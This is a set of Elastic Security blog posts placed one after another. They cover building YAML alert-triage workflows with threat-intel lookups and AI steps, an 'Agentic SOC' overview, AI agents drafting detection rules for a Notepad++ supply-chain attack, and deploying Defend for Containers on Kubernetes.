As a core capability of our agentic security operations platform, Elastic Security XDR unifies traditionally siloed defenses to tackle the speed and complexity of modern threats. An initial host-based signal can quickly spread across endpoints, identities, and cloud services. Agentic workflows and agent skills help analysts investigate and respond at machine speed. Analysts no longer need to stitch together disconnected tools - they can follow attacker activity throughout the environment, combining endpoint prevention with autonomous investigative and response capabilities in a single platform.

Learn More

Visit elastic.co/security/xdr to learn more. Try a free Elastic Security trial, explore Elastic Defend with our Getting Started video, or practice with real malware at ohmymalware.com.

An alert fires. You open it. You read through the details. You gather context from the surrounding activity. You check for related signals across your environment. You decide what it means and what to do next. Sometimes you escalate. Sometimes you close it and move on.

You do this dozens of times a day. The steps are almost always the same. The data you need is already in your SIEM. The actions you take are predictable. But the work is still manual.

This is the kind of work that automation should handle. Not because it's hard, but because it's repetitive, and every minute spent on repetitive manual triage is a minute not spent on the alerts that actually need a human.

Elastic Workflows brings that automation into the SIEM itself. No separate tool. No integration to build. Your detection rule fires, and a workflow runs, with direct access to your alerts, cases, and security data.

This blog post walks through building a security playbook with Workflows, step by step. We'll start simple and build up to a workflow that runs when an alert fires, checks threat intel, gathers context, creates cases, notifies the team, and brings in AI when the investigation calls for it.

If you're new to Workflows, the introductory technical deep dive blog and video cover the core concepts of Workflows. This post focuses on applying these concepts in a security context.

Quick orientation

Workflows are YAML definitions that run inside Kibana. You define what should happen, and the platform handles execution. At a high level, a workflow is composed of three main parts: triggers (when it runs), steps (what it does), and data flow (how information moves between steps).

Triggers decide when the workflow runs. An alert trigger runs on a detection. A scheduled trigger runs on a cadence. A manual trigger runs on demand. A workflow can have more than one.

Steps define what the workflow does. They run in order and can use outputs from earlier steps. They can query data in Elasticsearch, update alerts and cases in Kibana, and call external systems like sending a Slack message or scanning a hash on VirusTotal. They can also apply logic such as conditionals or loops, and use AI for tasks like summarizing text, prompting an LLM, or invoking agents when deeper reasoning is needed.

This is the toolkit. With these primitives, you can build workflows that take a signal, gather context, and drive a response.

Building a security playbook

We'll build an alert triage workflow incrementally. Each section adds a capability, and by the end, you'll have a working playbook that handles the full triage loop.

Start with the trigger

Security workflows start with an event. It could be an alert, a case update, a user action, or a scheduled check. The workflow takes that signal, gathers context, and decides what to do next.

We’ll start with alert triage. It’s the most common path, and it shows the full loop end to end. Each section adds a capability, and by the end, you’ll have a working playbook.

Here’s a minimal workflow with an alert trigger:

name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  # we'll build these out

The alert trigger connects this workflow to detection rules. You link a specific rule to this workflow from the rule's Actions settings in Kibana. When the rule fires, the workflow runs and receives the full alert context through the event variable. That includes event.alerts (the alert documents), event.rule (the rule metadata), and every field on the alert.

From here, you start adding steps.

Check threat intel

The first real step: take the file hash from the alert and check it against VirusTotal. Workflows have a built-in VirusTotal connector, so you don't need to construct HTTP requests or manage API keys in your YAML (connector credentials like VirusTotal API keys or Slack tokens are configured once in the connector under Stack Management > Connectors):

  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: "my-virustotal"
    with:
      hash: "{{ event.alerts[0].file.hash.sha256 }}"
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

Every step in a workflow follows a simple, consistent structure. It starts with a name, which gives the step a clear identity, and a type, which defines the action being performed. In this case, the step calls the VirusTotal file hash scan capability. Because this is a connector-backed action, it also includes a connector-id, which tells the workflow which configured integration to use, including its credentials.

The with block is where you pass inputs into the step. Each step type defines the parameters it accepts. Here, you provide the file hash to scan. Rather than hardcoding values, workflows use a built-in templating engine powered by LiquidJS. The {{ }} syntax lets you reference data from the execution context, so the hash is pulled directly from the alert that triggered the workflow.

Finally, the on-failure block defines how the step behaves if something goes wrong. In this case, it retries twice with a short delay and continues execution even if the lookup fails. This is important in production workflows, where a transient external API issue should not block the entire triage process.

Gather context with ES|QL

Next, query for related alerts on the same host. ES|QL runs directly against your security indices, so there's no API bridging or credential management:

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == "{{ event.alerts[0].host.name }}"
        | WHERE @timestamp > NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

This tells you whether the host has been generating other alerts, which rules triggered, and which users were involved. That context is included in the case description and informs the severity assessment later.

The same approach works for any enrichment that touches data in Elasticsearch: looking up a user's first-seen date, checking how many times a hash has appeared in your logs, or pulling the process tree from endpoint data. If the data is in your cluster, ES|QL can get it.

Branch on findings

Now the workflow needs to decide what to do. If VirusTotal flagged the file as malicious, create a case and respond. If not, close the alert as a false positive:

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious > 5
    steps:
      # true positive path: steps below
    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - "{{ event.alerts[0]._id }}"

The if step evaluates a condition and runs different steps depending on the result. The false positive path closes the alert in a single step. The true positive path continues below.

Create a case

When the alert is confirmed malicious, open a case with context from previous steps:

      - name: create_case
        type: kibana.createCase
        with:
          title: "Malware Detected: {{ event.alerts[0].file.hash.sha256 }}"
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: ".none"
            fields: null

Liquid templating pulls data from the alert (event), from the VirusTotal results (steps.check_virustotal.output), and from the ES|QL query (steps.related_alerts.output). Every field from every previous step is available to every subsequent step.

Notify the team

Send a Slack message so the team knows a confirmed case is open:

      - name: notify_team
        type: slack
        connector-id: "security-alerts"
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

Slack is one option. Jira, ServiceNow, PagerDuty, Microsoft Teams, email, and Opsgenie are all supported as connector steps.

The complete workflow

Here's the full workflow assembled:

name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: "my-virustotal"
    with:
      hash: "{{ event.alerts[0].file.hash.sha256 }}"
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == "{{ event.alerts[0].host.name }}"
        | WHERE @timestamp > NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious > 5
    steps:
      - name: create_case
        type: kibana.createCase
        with:
          title: "Malware Detected: {{ event.alerts[0].file.hash.sha256 }}"
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: ".none"
            fields: null

      - name: notify_team
        type: slack
        connector-id: "security-alerts"
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - "{{ event.alerts[0]._id }}"

That's the triage loop, automated. Alert fires, threat intel checked, context gathered, decision made, case created, team notified. Every execution is logged and auditable.

This is a starting point. The traditional-triage.yaml in the Elastic Workflows library on GitHub goes further: it isolates the host, looks up the on-call analyst, creates a dedicated Slack channel, assigns the case, and posts a rich incident summary. Same patterns, more steps.

Adding AI to the playbook

The workflow above handles a defined path. If the hash is malicious, do X; otherwise, do Y. That covers a lot of triage work. But not every alert fits a clean branching condition, and not every case description should be a list of raw fields.

Workflows include AI steps that handle the parts where structured logic runs out. There are three, and they work together.

Classify: let AI drive the branching

Instead of branching on a VirusTotal score threshold, use ai.classify to categorize the alert. It considers the full alert context, not just a single number:

  - name: classify_alert
    type: ai.classify
    with:
      input: "${{ event }}"
      categories:
        - malware
        - phishing
        - lateral_movement
        - data_exfiltration
        - false_positive
      instructions: |
        Classify this security alert based on the alert details,
        rule name, and affected entities.
      includeRationale: true

The output is structured: steps.classify_alert.output.category returns a single string like "malware" or "false_positive". That drives the if condition directly. The rationale explains why, and you can include it in the case for audit purposes.

Summarize: write case descriptions that adapt

Rather than templating raw field values into a case description, use ai.summarize to generate a readable overview. Run it once before case creation for the initial description, and once after the agent investigation to update the description with the full picture:

  - name: initial_summary
    type: ai.summarize
    with:
      input: "${{ event }}"
      instructions: |
        Write a one-paragraph overview of this security alert.
        State what was detected, on which host, by which user, and the severity.
        Do not include recommendations. Just the facts.
      maxLength: 300

The summary adapts to whatever fields are present on the alert, so you don't need to account for every possible field combination in your Liquid templates. Use steps.initial_summary.output.content in the case description and the Slack notification.

Agent: investigate what the playbook can't

The ai.agent step invokes an Agent Builder agent. Unlike classify and summarize, an agent has access to tools. It can query your indices, check threat intel, correlate signals across data sources, and reason about what it finds:

  - name: escalate_to_agent
    type: ai.agent
    agent-id: "security-agent"
    create-conversation: true
    with:
      message: |
        Investigate this alert. Search for related activity on this host,
        check for persistence mechanisms and lateral movement,
        and determine the full scope of the incident.
        Alert: {{ event | json }}
        Classification: {{ steps.classify_alert.output.category }}
        VirusTotal: {{ steps.check_virustotal.output | json }}
        Related alerts: {{ steps.related_alerts.output | json }}
    timeout: 10m

The agent processes the input, calls whatever tools it needs, and returns its findings. The workflow waits, then continues with the next steps: adding the investigation to the case, notifying the team, and updating the case description with a concise summary of what the agent found.

Setting create-conversation: true persists the conversation, so the workflow can fetch the agent's reasoning trail and add it to the case as a structured comment with clickable links to each query it ran. And the analyst gets a direct link to pick up the conversation with the agent if they want to dig deeper.

Putting it together

In the full version of this workflow, the three AI steps work in sequence:

1. Classify the alert to drive the triage decision
2. Summarize the alert for the initial case description and Slack notification
3. Agent investigates the full scope: persistence, lateral movement, IOCs, affected systems
4. Summarize again, this time distilling the agent's findings into a concise, updated case description

The case starts with a clean factual overview and evolves into a comprehensive summary as the investigation completes. The agent's full analysis and reasoning trail live as case comments for analysts who want the details.

The complete workflow, including the AI investigation pipeline with reasoning trails, clickable Discover links, and follow-up Slack notifications, is available in the Elastic Workflows library on GitHub.

Workflows as agent tools

The integration between Workflows and Agent Builder works in both directions. Workflows can call agents (as shown above). And agents can call workflows.

When you expose a workflow as a tool in Agent Builder, an agent can invoke it during a conversation. The agent decides what needs to happen, and the workflow handles the execution reliably and repeatably.

This is the pattern demonstrated in the Chrysalis APT blog post: a two-step workflow hands the entire Attack Discovery to an agent, and the agent calls workflow-backed tools to verify malware hashes, search logs, check the on-call schedule, create a case, and spin up a Slack channel. The workflow is the trigger and the safety net. The agent is the brain.

Agents reason. Workflows execute. Together they cover the full range from judgment to action.

Open by design

Not every team starts from zero. Some already have automation running in Tines, Splunk SOAR, Palo Alto XSOAR, or another platform. Workflows don't ask you to replace any of your existing tools.

The idea is straightforward: use Workflows for the parts of your automation that are native to Elastic. Alert triage, enrichment from your own indices, case management, and alert status updates. These touch your Elastic data directly, and a native workflow will always be simpler and faster than an external tool making API calls back into Elastic.

For everything else, connectors bridge the gap. We have native connectors for Tines, Resilient, Swimlane, TheHive, D3 Security, Torq, and XSOAR. A workflow can kick off a Tines story, push an incident to Resilient, or trigger any external system via HTTP. Your existing tools handle cross-platform orchestration. Workflows handle what's native. As the capability grows, you can consolidate at your own pace. Nobody's forcing a migration.

What's here and what's next

Workflows is available today. Here's what you can build with it today:

• Alert triggers connect workflows to detection and alerting rules
• Case and alert management through named Kibana steps (kibana.createCase, kibana.SetAlertsStatus, kibana.addCaseComment, and more)
• Direct data access via Elasticsearch search and ES|QL
• 39 workflow-compatible connectors covering threat intel (VirusTotal, AbuseIPDB, GreyNoise, Shodan, URLVoid, AlienVault OTX), ticketing (Jira, ServiceNow), communication (Slack, Teams, PagerDuty, email), SOAR platforms (Tines, Resilient, Swimlane, TheHive, and others), and AI providers
• AI steps for classification, summarization, prompts, and Agent Builder invoking Elastic Agents/Skils
• YAML authoring with autocomplete, validation, and step testing in Kibana
• 50+ example workflows on GitHub, including security-specific templates for detection, enrichment, and response

What's coming:

• Visual workflow builder for drag-and-drop authoring
• In-product template library to browse and install workflows directly in Kibana
• Human-in-the-loop approvals that pause workflows for human input via Slack, email, or the Kibana UI
• Natural language authoring where AI helps translate intent into working workflows

Today, authoring is YAML-based. If you've written detection rules or configured CI/CD pipelines, the learning curve is gentle. The editor has built-in autocomplete, validation, and step testing, and the example library gives you templates to start from. A visual builder is coming to make this accessible to a wider audience.

Get started

Elastic Workflows is available now. To start building:

1. Start an Elastic Cloud trial or enable Workflows in your existing deployment under Stack Management > Advanced Settings
2. Explore the Workflows documentation
3. Browse the Elastic Workflow Library on GitHub for security templates you can adapt
4. Read the introductory technical deep dive for core concepts
5. See the Chrysalis APT blog for a complete Attack Discovery + Workflows + Agent Builder walkthrough

Start with the workflow that would save you the most time tomorrow.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

In simple terms, an Agentic SOC is a security operations center that has deployed AI Agents and corresponding AI Agent Skills to perform SOC-related workflows such as detection engineering, alert triage, incident investigation, escalation, response, and threat hunting. When these workflows are performed by AI agents, they’re often called “Agentic workflows.” These AI Agents and Skills may run natively in a security operations platform like SIEM, XDR, or security analytics, or they may be layered on top of legacy SIEM as an “AI SOC Agent” or “AI SOC analyst”, or they may even be run from an AI Coding Tool.

Regardless of how they are implemented, the shift to the Agentic SOC is not about AI replacing human analysts; it's about transforming how the SOC functions. To keep pace with rapidly evolving attackers, defenders must leverage AI and autonomous agents to respond as quickly as possible. At its core, an Agentic SOC is defined by how a security operations center uses AI and agents to protect against adversaries.

Let’s simplify a successful security operations center to three fundamental pillars, all of which the Agentic SOC significantly enhances:

1. Observe: The foundation of all security is centralized data—aggregating logs and events into one location, which is the core strength of a SIEM solution.
2. Detect: This involves deploying core protections like endpoint-based security (XDR, such as Elastic Defend) and security solution-focused detections (cloud, identity data). This technology drives the generation of high-quality alerts. Elastic, for example, ships over 1,700 pre-built rules for its SIEM by default, not including its XDR solution's endpoint rule library.
3. Act: This is the critical final stage of triaging, investigating, and acting on the generated alerts.

Agentic SOC in Action

Imagine this real-life scenario unfolding in your Security Operations Center using the Elastic security platform. It begins not with a siren, but with a simple, direct Slack notification. Building on our recent blog on Attack Discovery, Workflows, and Agent Builder, let's further examine how Elastic Security can help you respond to an active attack.

1. The Initial Alert and Immediate Action
   Your security analyst receives an urgent notification in their team channel. This message isn't just a heads-up; it points directly to an observed, active attack. Crucially, the Elastic Agentic SOC has already taken decisive, pre-emptive action: a vulnerable host has been isolated from the network to contain the threat and limit potential damage. This was all powered by Elastic Workflows and Elastic Agent Builder processing realtime alert and attack data from Elastic.
   
2. The Centralized Case
   The analyst's next step is a click away, moving from Slack directly to the centralized Case within Elastic that was created by the workflow. Elastic Case Management enables the SOC to coordinate the response and provides a single pane of glass into all aggregated critical information:

• Attack Summary: A high-level overview detailing what has occurred using Attack Discovery.

• Attached Alerts: The specific security alerts that triggered the initial observation.

• Observables: A list of suspicious artifacts (IP addresses, file hashes, domains, etc.) collected from the event.

• Attached Events: Non-alert events that, while not an alert themselves, provide critical context and are of further interest to the investigation.

  

3. Supporting the Investigation
   To support the immediate findings, detailed Investigations are attached directly to the Case. These searches allow the analyst to visually and contextually step through the sequence of events leading up to, during, and immediately following the attack.
   The Elastic Case also provides instant context by highlighting Similar cases. By cross-referencing observables, the system identifies previous incidents involving the same entities or artifacts, providing a deeper understanding of the threat actor's history and potential motives.
4. The Path to Resolution
   The agents don’t just catalog the past; it dictates the future. A clear set of Next steps and actions are outlined, with specific team members assigned for review and execution.

The analyst then steps through a methodical process reviewing the automated analysis:

1. Reviewing Findings: Scrutinizing all aggregated data, alerts, and investigations.
2. Evidence Collection: Collecting any additional forensic evidence needed for a complete analysis.
3. Remediation: Executing manual or automated actions, such as deleting malicious files or killing persistent processes on the isolated host with Elastic Defend.
4. Final Release: Eventually, the host is safely released back to the network, but not before additional, targeted rules or policies are automatically applied to prevent a recurrence based on the lessons learned from this incident.
   In the Agentic SOC, the analyst moves seamlessly from a high-level alert to a comprehensive investigation to full remediation—all within a unified, intelligent workflow powered by Elastic.

Elastic Security and Core SIEM Workflows

Before exploring advanced agentic workflows, it's essential to recognize that Elastic Security already provides a comprehensive suite of core capabilities crucial for modern security operations. This foundation begins with the ingestion of security-relevant data, which is automatically normalized to a common schema, ensuring consistency and ease of analysis. The platform offers Extended Detection and Response (XDR) capabilities via Elastic Defend, a robust detection engine built directly into the Elastic Stack, and sophisticated alert workflows that include built-in correlations to reduce noise and surface true threats.

Elastic Security further differentiates itself by tightly integrating key operational functions. This includes entity-based threat hunting, machine learning for anomaly detection and behavior analysis, and comprehensive case management for tracking incidents. Finally, the platform provides end-to-end response and forensic capabilities, enabling security teams to move swiftly from initial alert to investigation and remediation, all within a unified, scalable platform.

Empowering Analysts with Agentic Capabilities

AI-Powered Alert Triage and Prioritization

The Elastic Security Solution integrates AI capabilities via Agent Builder to augment and make SOC operations truly agentic. This is where efficiency improvements are most keenly felt:

• Conversational Triage: A built-in agent is readily available to Tier 1/2 analysts, allowing them to use conversational commands to query and prioritize open alerts (e.g., "What priority alerts should I review from the last 30 days?"). This is the first entry point for using AI to augment SOC operations.
• LLM Agnostic Platform: A key differentiating feature of Elastic's Agent Builder is that it is LLM agnostic, allowing organizations to pick their preferred model, even locally running models for privacy or regulatory reasons.
• Attack Discovery: This premier feature moves beyond basic triage. It uses LLM configurations to create higher-order attack detections, taking hundreds of open alerts and prioritizing them into a small, manageable subset of known attacks or incidents. This dramatically reduces the impact of alert fatigue.

Enriched Investigations

Once an attack or incident is found, the agent helps start the investigation:

• Summarization and Enrichment: The agent can be used to summarize the attack, identify important artifacts, and conduct automated third-party enrichments (like checking VirusTotal). This tailored experience provides a full assessment, including an attack chain, threat intelligence information, related cases, entity risk scoring, and a full investigation guide.
• Case Management: The agent can be instructed to take immediate action, such as generating a security case and notifying the team in Slack, all through simple conversational commands that execute pre-configured workflows.

Automated Response and Threat Hunting

The true power of the Agentic SOC is realized through action and automation that goes beyond simple conversation:

• Workflows and SOAR-like Automation: Agents can reference and execute Workflows, Elastic's SOAR-like automation tool. These workflows allow analysts to take immediate, complex actions. For example, a command like "Please create a case for this attack, and notify my team in Slack" triggers multiple, pre-defined steps. Further critical response actions, such as isolating a host, can be executed with a single workflow action while the investigation continues.

• AI-Assisted Threat Hunting: AI assists threat hunters by leveraging Entity Analytics and pre-built skills. The agent can be asked to find high-risk hosts and users to begin hunting, and then automatically generate specific ESQL queries (e.g., "Please tell me the most uncommon processes executed for each host") to uncover unusual or malicious activity.

  

The Mandate of Automation

For maximum effectiveness, all these steps,from alert triage and enrichment to case creation and host isolation,can be configured to run automatically as an Agentic Alert Triage workflow. This allows the system to solve problems as soon as they are discovered, setting up the human analyst in the loop with a consolidated case and all the necessary findings in a single pane of glass.

This approach delivers substantial efficiency improvements, making speed the single most important factor in a modern, Agentic SOC.

Elastic’s Agentic Security Operations Platform

Whether you use our UI, our agents, or your own, Elastic Security provides a strong open foundation for modern security operations. best-in-class data architecture, search, workflows, analytics, detection engineering content, and automation.

Getting started

Before you get started: AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly

Don't have an Elasticsearch cluster yet? Start an Elastic Cloud free trial. It takes about a minute to get a fully configured environment.

The landscape of cybersecurity is evolving, and the role of the Detection Engineer (DE) is more critical and demanding than ever. Traditionally, this role involves a comprehensive, end-to-end workflow: from threat modeling and telemetry tuning to writing, testing, and maintaining performance-optimized detection rules to flag malicious behavior.

Elastic Security is purpose-built to streamline this entire workflow, empowering DEs - and anyone involved in security operations - to build, manage, and optimize detection rules at scale. This allows security teams to concentrate their efforts on the most critical task: protecting the organization.

The rise of generative AI and, more specifically, advanced AI coding agents like Claude and Cursor, is fundamentally changing and supercharging this workflow. These tools are no longer just for general software development; they are becoming expert partners for the Security Operations Center (SOC). By integrating the power of conversational AI, these agents can take high-level security requirements and instantly translate them into validated, workable detection logic.

From Generalist to Elastic Expert: Agent Skills

Elastic Security is embracing this shift not only by having native AI capabilities built-into our agentic security operations platform , but also by open-sourcing agent skills for 3rd party agentic IDEs, a native platform experience for the entire Elastic ecosystem (Security, Observability, etc.). By loading these skills into any agent runtime, your AI assistant moves from being a generalist to an on-demand expert in Elastic’s tooling. You can then ask your agent to triage alerts or, in this context, expertly create and tune detection rules

A Use Case Walkthrough: The Notepad++ Attack

To illustrate the agent’s power, let’s look at a real-world supply chain-based attack involving a backdoor targeting the Notepad++ infrastructure described in Elastic Security Lab’s blog, “Speeding APT Attack”.

Instant Conditional Rules

A detection engineer’s first step is often to create conditional rules based on known Indicators of Compromise (IOCs). To begin, we can instruct the agent to investigate data within Elastic Security, as evidence of the attack was present in our cluster.

"Can you help me create a detection rule that will detect malicious activity similar
 to what I'm seeing in my Elastic Security deployment involving notepad++.exe 
 and BluetoothService.exe?"

The agent immediately went to work:

• It rapidly found process lineage and documented attack details.
• It extracted key IOCs and found the corresponding MITRE ATT&CK™ mappings.
• It generated two foundational rules: one for a suspicious child process spawned by Notepad++, and one focusing on the masqueraded executable.
• Crucially, the rules were immediately tested against threat emulation data, confirming multiple successful hits.

Each step is happening quickly, and the built-in validation significantly accelerates the 'test and tune' phase.

Let’s take a look at the agent-created rule in Elastic Security:

Diving into Advanced ESQL Aggregation

Conditional logic is great, but modern threats require more behavioral and entity-focused detections. Using Elastic’s powerful piping language, ES|QL (Elastic Search Query Language), the agent was challenged to create an aggregation-based rule that looks for generic, suspicious characteristics across tasks, aggregates them, and assigns a dynamic risk score to host and user entities.

The agent delivered, creating an advanced query that looks for suspicious executables, negates benign directories, and assesses scores based on the activity's risk level. This demonstrates the agent's ability to create sophisticated detections unique to Elastic's capabilities, moving beyond simple lookups to complex entity analytics.

Here’s the rule in Elastic Security:

Sequential Detections with EQL and Suppression

To detect multi-stage attacks, a sequential rule is essential—if Event A, then Event B, then Event C, then alert. Using the Event Query Language (EQL), the agent crafted a perfect three-stage sequence for the attack:

1. Unsigned dropper activity.
2. Service masquerade (implant deployed).
3. Final execution for persistence.

To make the rule more reliable and reduce noise, suppression logic was then added, focusing on limiting alerts per unique Host ID. This quick iteration shows how an agent can help a detection engineer rapidly move from a basic detection to a highly robust, multi-stage rule.

The LLM-Augmented Query: Summaries in the Alert

The ultimate demonstration of the new agentic workflow is using Elastic’s ESQL COMPLETION syntax. This feature allows an inference model to be referenced directly within the query.

The prompt asked the agent to:

Based off this recent elastic blog,
 https://www.elastic.co/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion, 
 create a rule that incorporates a COMPLETION command with my  default inference 
 model that will summarize findings from attack into one "esql.summary"

The result? The generated rule didn't just fire an alert; it natively included an ES|QL summary row in the alert itself:

This telemetry shows a masquerading technique where a process named "BluetoothService.exe" is executing from a user's AppData directory with a PE original name of "BDSubWiz.exe" (a legitimate file mismatch), running as SYSTEM with service-like characteristics including spawning from services.exe, indicating persistence establishment (MITRE ATT&CK T1036.004 Masquerading and T1543 Service Persistence). The executable's location in a user directory, combined with SYSTEM-level execution, service persistence indicators, and the name/PE mismatch across multiple events, suggests Defense Evasion and Persistence stages. This represents high severity due to successful SYSTEM-level persistence with active defense evasion through masquerading.

This cuts triage time dramatically, as analysts no longer need to pivot to a separate runbook to understand the context and severity of the alert.

The Agentic SOC is Here

The collaboration between AI agents and the Elastic Security solution provides a glimpse into Elastic’s Agentic SOC of the future. It’s a world where detection engineers can have a conversation, define their intent, and instantly generate, test, and deploy highly sophisticated, context-rich detection rules. This is not about replacing the human expert, but about augmenting their knowledge and accelerating their workflow, allowing them to focus on high-value threat intelligence and modeling.

Getting started

Before you get started: AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly

Don't have an Elasticsearch cluster yet? Start an Elastic Cloud free trial. It takes about a minute to get a fully configured environment.

Linux systems remain a critical foundation for modern infrastructure, particularly in cloud-native environments where containers and orchestration platforms are the norm. As workloads move from long-lived hosts to ephemeral containers, attacker tradecraft shifts as well. Activity that once left persistent artifacts on disk is increasingly confined to short-lived, runtime behavior that can be difficult to capture using traditional log sources.

Detection engineering in these environments, therefore, depends heavily on runtime visibility. Understanding how processes execute inside containers, how files are accessed, and how workloads interact with the host becomes more important than relying on static indicators or post-incident artifacts.

Elastic provides several Linux-focused telemetry sources to support this type of detection work. In earlier posts in this series, we focused on host-level visibility using Auditd and Auditd Manager, showing how low-level system events can be translated into high-fidelity detections. In this post, the focus shifts to Elastic’s Defend for Containers: a runtime security integration built specifically for containerized Linux workloads.

The goal of this article is not to document every Defend for Containers feature, but to provide a practical starting point for detection engineers: what data the integration produces and how to reason about that data. In the next part, we will look into how it can be applied to realistic container attack scenarios.

Streamlined visibility with Defend for Containers

We are excited to announce the arrival of Defend for Containers in the 9.3.0 release. This integration brings a streamlined approach to container security, offering a strong foundation for visibility in cloud-native infrastructures. Users can leverage a suite of detection rules tailored to defend against modern Kubernetes threats and container-specific vulnerabilities. The arrival of Defend for Containers is accompanied by a container-specific detection ruleset, designed around realistic container and Kubernetes threat models.

At the time of writing, the Defend for Containers ruleset provides baseline coverage for common container attack techniques, including reconnaissance activity, credential access attempts, kubelet attacks, service account token abuse, interactive process execution, file creation and modification, interpreter abuse, encoded payload execution, tooling installation, tunneling behavior, and multiple privilege escalation vectors. Importantly, all existing container- and Kubernetes-specific detection rules have been made compatible with Defend for Containers, allowing previously host-centric logic to operate directly on container runtime telemetry.

This makes Defend for Containers a practical and immediately usable data source for Linux detection engineers focused on behavior-driven runtime detection. The remainder of this post focuses on how that telemetry looks in practice and how it can be applied to real-world container attack scenarios.

Introduction to Defend for Containers

Defend for Containers is a runtime security integration that provides visibility into Linux containers as they execute. Instead of relying on static image scanning or post-execution logs, it focuses on observing container behavior in real time.

At a high level, Defend for Containers captures security-relevant runtime events from running containers, such as process execution and file access. These events are enriched with container and orchestration context and shipped into Elasticsearch, where they can be analyzed and used as input for detection rules.

From a detection engineering perspective, Defend for Containers sits at the intersection of traditional Linux behavior and the container context. Processes, syscalls, and file activity remain core signals, but they are now scoped to containers, namespaces, and workloads that may only exist briefly.

Defend for Containers is deployed as part of the Elastic Agent and integrates directly with Elastic Security. Once enabled, it provides a dedicated stream of container runtime events that can be queried using KQL or ES|QL, or consumed directly by detection analytics. This allows detection engineers to apply familiar analysis techniques while accounting for the operational realities of cloud-native workloads.

In the sections that follow, we will examine Defend for Containers events in more detail and walk through several container attack scenarios to illustrate how this data can be used in practice.

Defend for Containers setup

Before you can take advantage of Defend for Containers' runtime visibility and analytics, you need to deploy the integration and configure a policy that defines which events to observe and what actions to take when matching activity is encountered. More information about the integration and its setup can be found here. At a high level, this setup consists of:

1. Deploying the Defend for Containers integration via Elastic Agent in your Kubernetes environment.
2. Configuring or customizing the Defend for Containers policy, which consists of selectors that define which operations to match and responses that define what actions to take.
3. Validating and refining the policy based on observed workload behavior.

Deployment methods

Defend for Containers is delivered as an Elastic Agent integration and relies on Elastic Agent to collect and forward container runtime telemetry into your Elastic Stack. For Kubernetes workloads, you install the integration via the Elastic Security UI and then enroll agents on your cluster nodes.

The basic deployment flow is:

In the Elastic Security UI, navigate to Fleet and create a new Agent Policy (or add the integration to an existing one). Once the Agent Policy is created, we can add the “Defend for Containers” integration to the policy.

Give the integration a name and optionally adjust the default selectors and responses (we will look into the available options further down in this publication). Once “Add integration” is selected, a new Agent Policy with the correct integration should be available.

For this demonstration, we will leverage the Kubernetes deployment method. To deploy this policy to a workload, we can navigate to Actions → Add agent → Kubernetes. Here, we see instructions for copying or downloading the Kubernetes manifest.

An important note to be aware of is: “Note that the following manifest contains resource limits that may not be appropriate for a production environment. Review our guide on Scaling Elastic Agent on Kubernetes before deploying this manifest.”

You will need to include the following capabilities under securityContext in your Kubernetes YAML for the service to work:

securityContext:
    runAsUser: 0
    capabilities:
      add:
        - BPF ## Enables both BPF & eBPF
        - PERFMON
        - SYS_RESOURCE

After copying or downloading the provided elastic-agent-managed-kubernetes.yml manifest, you can edit the manifest as needed, and apply the manifest with:

kubectl apply -f elastic-agent-managed-kubernetes.yml

As also mentioned in the manifest, review the guide “Run Elastic Agent on Kubernetes managed by Fleet” for more deployment information.

Wait for the Elastic Agent pods to schedule and for data to begin flowing into Elasticsearch.

